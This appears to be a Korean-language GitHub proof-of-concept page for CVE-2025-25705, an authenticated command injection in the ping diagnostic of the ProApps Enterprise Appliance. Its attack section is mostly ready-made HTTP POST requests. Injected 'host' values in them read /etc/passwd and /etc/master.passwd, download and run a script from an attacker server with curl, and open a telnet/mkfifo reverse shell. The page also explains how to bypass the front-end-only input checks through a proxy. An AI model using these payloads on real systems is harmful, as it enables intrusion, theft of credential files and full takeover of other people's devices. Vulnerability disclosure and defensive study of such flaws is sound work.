cotherm/cve-2025-25705Proof-of-concept 익스플로잇: ProApps Enterprise Appliance의 ping 기능에서 명령 주입을 통한 인증된 원격 코드 실행, 리버스 셸 페이로드 및 클라이언트 측 삭제(샌드박스) 우회를 포함합니다.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
원격 코드 실행
이 취약점은 사용자가 Unix 환경에서 ping 기능을 사용할 때 (;, &&, |)와 같은 명령어 시퀀스 연산자를 추가하여 애플리케이션을 통해 시스템 명령을 주입할 수 있기 때문에 발생합니다. 취약점을 악용하려면 인증이 필요합니다. 사용자는 'Status'라는 권한 그룹에 속해 있어야 하며 'Modified' 권한을 보유해야 합니다. 또한 성공적인 악용을 위해서는 입력 검증(Input Sanitization)을 우회해야 한다는 점도 중요합니다. 애플리케이션은 프런트엔드에서만 사용자 입력을 검증하므로, 예를 들어 네트워크 프록시를 통해 요청을 전송해야 합니다. 이런 방식으로 애플리케이션에 부과된 제한을 우회할 수 있습니다."
인증 후에는 sta_rede.diagnostico_ping이라는 페이지 (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view)에 접근해야 합니다.
이 페이지는 임의의 호스트에 ICMP 요청을 수행하는 기능을 제공합니다. ping 유틸리티와 ICMP 프로토콜(Request and Reply)에 대한 자세한 내용은 참조 섹션에 언급된 RFC를 참조하십시오.
애플리케이션은 host, , 매개변수와 함께 POST 요청을 전송합니다. 여기서 는 ping 대상이고, 는 보낼 ICMP 요청 수를 지정하며, 은 패킷의 TTL(Time to Live)입니다. 요청을 전송하면 애플리케이션은 Unix 시스템에서 다음 명령을 실행합니다: . 아래는 해당 기능을 보여주는 요청입니다:
testar_pacotettlhosttestar_pacoteTTLping -c $testar_pacote $hostPOSTPOST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
여기서 공격 벡터가 발견됩니다. 사용자는 네트워크 프록시를 통해 악성 POST 요청을 전송하여 host 매개변수에 시퀀스 명령 연산자(;, &&, |) 중 하나를 추가함으로써 입력 검증을 우회할 수 있으며, 웹 애플리케이션은 위에서 언급한 ping 명령과 함께 추가 명령을 실행하게 됩니다. 예를 들어 /etc/passwd, /etc/master.passwd와 같은 중요 파일을 읽거나 리버스 셸을 얻거나 임의의 명령을 실행할 수 있습니다.
아래 POST 요청은 조작된 악성 예제입니다:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
sta_rede.diagnostico_ping에 대한 HTTP POST 요청:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Netcat으로 지정된 포트에서 수신 대기하면 리버스 셸이 성공적으로 열립니다.
RCE(원격 코드 실행) 취약점은 공격자가 원격 장치에서 임의의 코드를 실행할 수 있게 하며, 전체 시스템 장악, 데이터 유출, 수평적 이동, 악성코드 배포, 평판 및 금전적 피해로 이어질 수 있습니다.